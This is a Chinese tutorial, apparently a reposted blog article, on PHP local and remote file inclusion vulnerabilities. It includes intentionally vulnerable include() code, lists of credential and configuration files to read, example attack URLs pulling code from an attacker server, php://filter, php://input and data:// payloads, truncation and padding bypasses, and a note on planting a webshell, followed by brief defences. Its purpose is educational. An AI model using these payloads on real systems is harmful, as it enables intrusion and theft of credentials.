漏洞講解
漏洞過(guò)程解析
在使用include等包含函數(shù)時(shí),當(dāng)對(duì)包含文件的來(lái)源過(guò)濾不嚴(yán)格,那么會(huì)包含到惡意文件,攻擊者將會(huì)通過(guò)這個(gè)惡意文件來(lái)到達(dá)他想要達(dá)到的相應(yīng)目的。
引用一句網(wǎng)上看到的話(huà):文件包含漏洞和SQL注入等攻擊方式一樣,文件包含漏洞也是一種注入型漏洞,其本質(zhì)就是輸入一段用戶(hù)能夠控制的腳本或者代碼,并讓服務(wù)端執(zhí)行。
漏洞原理
在開(kāi)發(fā)過(guò)程中,難免會(huì)有相同代碼吃飯使用的情況,我們會(huì)將這類(lèi)代碼單獨(dú)放在一個(gè)文件中,等到要用的時(shí)候,可以直接在使用出運(yùn)用包含函數(shù)來(lái)進(jìn)行運(yùn)用,而這種方式會(huì)導(dǎo)致客戶(hù)端可以調(diào)用其他的惡意文件,由此被利用。
漏洞利用前提
被包含的文件應(yīng)該被當(dāng)作一個(gè)變量實(shí)驗(yàn),用戶(hù)可傳入的,如若該變量未被采取相應(yīng)安全措施(如設(shè)置白名單),那么將出現(xiàn)文件包含漏洞。
文件包含漏洞的危害
可以讀取web服務(wù)器上的敏感文件如配置文件等,如果和webshell配合使用將造成巨大風(fēng)險(xiǎn)
文件包含中的PHP知識(shí)
在php.ini文件在有這么兩個(gè)變量 allow_url_fopen和allow_url_include
allow_url_fopen 默認(rèn)值為ON,為允許url的封裝協(xié)議打開(kāi)文件處理。
allow_url_include 默認(rèn)值為OFF,為不允許url的封裝協(xié)議包含文件,如若需要進(jìn)行遠(yuǎn)程包含文件需要將參數(shù)設(shè)置為ON。
這兩個(gè)參數(shù)都只是影響遠(yuǎn)程文件包含
常見(jiàn)的包含函數(shù)
PHP:include(),include_once(),require(),require_once()
JSP/Servlet:ava.io.file()、java.io.filereader()
ASP:include file、include virtual(除了PHP的,另外兩個(gè)我都不了解,網(wǎng)上看到整理的,嘿嘿)
就講一下PHP這四個(gè)包含函數(shù)的區(qū)別吧
include:包含文件時(shí),如若包含失敗,會(huì)返回一個(gè)警告,但不會(huì)影響代碼執(zhí)行。
include_once():與include作用相同,不同的是,include_once()函數(shù)會(huì)檢查該文件是否已經(jīng)被包含過(guò)了,如果已經(jīng)包含過(guò),就不會(huì)在包含了,也就是相同的文件只會(huì)包含一次。
require():包含文件時(shí),如若包含失敗,代碼將終止執(zhí)行。
request_once():與require()類(lèi)似,與require()不同的是,跟上面將include()和include_once()的不同。
php魔術(shù)引導(dǎo)
當(dāng)sql語(yǔ)句中有單引號(hào)'',雙引號(hào)"",反斜杠\和NULL,需要對(duì)這些進(jìn)行轉(zhuǎn)義,否則寫(xiě)入數(shù)據(jù)庫(kù)時(shí)候就會(huì)出錯(cuò),php配置文件php.ini中就存在魔術(shù)符號(hào)magic_quotes_gpc
PHP偽協(xié)議部分太多了,在后面一起講
文件包含漏洞分類(lèi)
文件包含漏洞分為本地文件包含漏洞和遠(yuǎn)程文件包含漏洞
本地文件包含漏洞(LFI)
能夠打開(kāi)包含本地文件的漏洞就叫作本地包含文件漏洞
舉一個(gè)例子,在filetest.php文件中寫(xiě)入
<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>
在phpinfo.php寫(xiě)入
<?php
phpinfo();
?>
filetest.php中有name參數(shù),這個(gè)參數(shù)能夠被用戶(hù)所控制,用戶(hù)提供這個(gè)參數(shù)來(lái)包含本地的文件,那么就形成了本地包含漏洞
如filetest.php,這樣的代碼可以讓我們讀取到系統(tǒng)本地的敏感信息
可以采用來(lái)讀取下面這些敏感信息
Windows系統(tǒng)
C:\boot.ini //查看系統(tǒng)版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //Windows系統(tǒng)初次安裝的密碼
C:\ProgramFiles\mysql\my.ini //Mysql配置
Linux系統(tǒng):
/etc/password //賬戶(hù)信息
/etc/shadow //賬戶(hù)密碼信息
/usr/local/app/apache2/conf/httpd.conf //Apache2配置文件
/usr/local/app/php5/lib/php.ini //PHP相關(guān)配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
因此也可以這樣構(gòu)造http://127.0.0.1/filetest.php/?name=C:\Windows\system.ini
當(dāng)然不只是絕對(duì)路徑,相對(duì)路徑也是可以的
遠(yuǎn)程文件包含漏洞(RFI)
遠(yuǎn)程文件包含漏洞成因其實(shí)和本地文件包含漏洞相同,只不過(guò)遠(yuǎn)程文件包含漏洞利用的是外部服務(wù)器中文件。
遠(yuǎn)程文件包含漏洞需要前面講的allow_url_fopen、allow_url_include參數(shù)均為ON
說(shuō)一下大概過(guò)程
需要兩臺(tái)服務(wù)器,一臺(tái)為目標(biāo)服務(wù)器,一臺(tái)為攻擊者服務(wù)器
目的服務(wù)器下php代碼
<?php
$file=$_GET["name"];
echo "input name";
if(isset($file)){
include($file);
}
?>
攻擊者服務(wù)器下php代碼
<?php
phpinfo();
?>
攻擊者訪問(wèn)目的服務(wù)器,并將他本地下服務(wù)器的文件進(jìn)行遠(yuǎn)程文件包含
假設(shè)目的服務(wù)器:192.168.0.1
攻擊者服務(wù)器:192.168.0.2
那么便為192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php
接下來(lái)講一下文件包含漏洞如何可以實(shí)現(xiàn)webshell
在遠(yuǎn)程文件包含時(shí)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php就以這個(gè)舉例
現(xiàn)在將phpinfo.php中內(nèi)容改為
?>
那么我們就會(huì)在根目錄下創(chuàng)建一個(gè)名為webshell.php的文件
就可以用蟻劍
URL地址:http://目標(biāo)服務(wù)器ip/webshell.php
連接密碼:cmd
便可以連接成功了
接下來(lái)講PHP偽協(xié)議
file:// 訪問(wèn)本地文件系統(tǒng)
http:// 訪問(wèn)HTTPs網(wǎng)站
ftp:// 訪問(wèn)FTP URL
php:// 訪問(wèn)各個(gè)輸入/輸出流 即I/O流
zlib:// 壓縮流
data:// 數(shù)據(jù)
expect:// 處理交互式的流
glob:// 查找匹配的文件路徑
file://
訪問(wèn)本地文件系統(tǒng),既然是本地那么就不受allow_url_fopen和allow_url_include影響,通常用來(lái)讀取本地文件
使用方式file://文件路徑
php://
訪問(wèn)各個(gè)輸入/輸出流
常用的是php://filter和php://input
1)php://filter
用于讀取源碼
php://filter在執(zhí)行代碼前將轉(zhuǎn)化,如進(jìn)行base64編碼,不然就會(huì)直接當(dāng)作php代碼執(zhí)行,那么就看不到源代碼內(nèi)容了
用法:php://filter/read=convert.base64-encode/resource=你要讀取的文件
URL:192.168.0.1(http:目的服務(wù)器ip)/test.php(一個(gè)php文件)/?name=php://filter/read=convert.base64-encode/resource=test.php
假如test.php里寫(xiě)的是
那么頁(yè)面就會(huì)顯示的base64編碼
這里是讀取當(dāng)前目錄下,也可以用相對(duì)路徑,來(lái)調(diào)整
2)php://input
用于執(zhí)行php代碼
需要注意php://input需要以POST請(qǐng)求
php://input訪問(wèn)原始數(shù)據(jù)的只讀流,將POST請(qǐng)求的數(shù)據(jù)當(dāng)作php代碼執(zhí)行
用法:當(dāng)傳入的參數(shù)作為文件名打開(kāi)時(shí),可以將參數(shù)設(shè)為php://input,同時(shí)post想設(shè)置的文件內(nèi)容,php執(zhí)行時(shí)會(huì)將post內(nèi)容當(dāng)作文件內(nèi)容。(這句話(huà)網(wǎng)上看的)
可以結(jié)合抓包使用
http://
訪問(wèn)HTTPs網(wǎng)站
可以進(jìn)行遠(yuǎn)程包含進(jìn)行漏洞執(zhí)行
URL:http://192.168.0.1(目的服務(wù)器ip)/test.php(一個(gè)php文件)/?name=https://www.cnblogs.com/l-xx123(你所要的網(wǎng)站)
data://
用于數(shù)據(jù)流讀取(聽(tīng)這個(gè)很像php://input)
如果傳入的是php代碼,那就執(zhí)行任何代碼
利用它需要allow_url_fopen和allow_url_include參數(shù)均為ON
用法:data://text/plain(格式),(你所要執(zhí)行的php代碼)
為了防止對(duì)于一些特殊字符的過(guò)濾,還有使用編碼方式
以下用了base64編碼
datadata://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(加密后的)
文件包含漏洞繞過(guò)方式
本地文件包含繞過(guò)
空字符繞過(guò)(%00截?cái)?
這個(gè)需要php版本低于5.3.4,并且關(guān)閉前面說(shuō)魔術(shù)符號(hào),為OFF
%00截?cái)嗟脑?br>
%00是ascii碼為0的字符的url編碼后
在某些函數(shù)處理時(shí),會(huì)把這個(gè)字符當(dāng)做結(jié)束符。
系統(tǒng)在對(duì)文件名的讀取時(shí),如果遇到0x00,就會(huì)認(rèn)為讀取已結(jié)束。
如
URL:http://192.168.0.1/tets.php/?name=1.php
如果我們像上面那樣輸入就要變成1.php.jpg
會(huì)拼接一個(gè).jpg
URL:http://192.168.0.1/test.php/?name=1.php
而這樣就可以成功包含php代碼了
超長(zhǎng)字符繞過(guò)
超長(zhǎng)字符繞過(guò)式利用操作系統(tǒng)對(duì)目錄的最大長(zhǎng)度限制
不同系統(tǒng)的最大長(zhǎng)度不一樣
在 Windows 中目錄長(zhǎng)度不可以超過(guò) 256 字節(jié),linux 中目錄長(zhǎng)度不可以超過(guò) 4096 字節(jié)
在這里我們會(huì)利用垃圾字符./,當(dāng)然不止它可以使用,這里就不說(shuō)了,因?yàn)槲彝?,可以上網(wǎng)看看
用法URL:http://192.168.0.1/tets.php/?name=1.php././././././././././././././././././././././././././././././././././././././././././././././././././
就是在讀取本地文件后面加上很多./
遠(yuǎn)程文件包含繞過(guò)
空字符繞過(guò)(%00截?cái)?
同本地文件包含的那個(gè)一樣,只不過(guò)它是遠(yuǎn)程文件包含而已
超長(zhǎng)字符繞過(guò)
同本地文件包含的那個(gè)一樣,只不過(guò)它是遠(yuǎn)程文件包含而已
?繞過(guò)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以這個(gè)為例
我們可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上?
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php?
還可以使用特殊字符來(lái)繞過(guò),加上url編碼后
繞過(guò)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以這個(gè)為例
我們可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%23
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%23
%23是#url編碼后的結(jié)果
空格繞過(guò)
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php以這個(gè)為例
我們可以192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php后加上%20
192.168.0.1/filetest.php/?name=http://192.168.0.2/phpinfo.php%20
%20是空格url編碼后的結(jié)果文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-825132.html
文件包含漏洞防護(hù)
1.對(duì)上傳文件進(jìn)行重命名,防止被讀取
2.關(guān)閉危險(xiǎn)配置,如allow_url_include如果打開(kāi),會(huì)進(jìn)行遠(yuǎn)程包含,十分危險(xiǎn)
3.過(guò)濾危險(xiǎn)字符,比如過(guò)濾掉../,或者一些編碼的特征
4.設(shè)置白名單,來(lái)進(jìn)行文件包含文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-825132.html
到了這里,關(guān)于文件包含漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!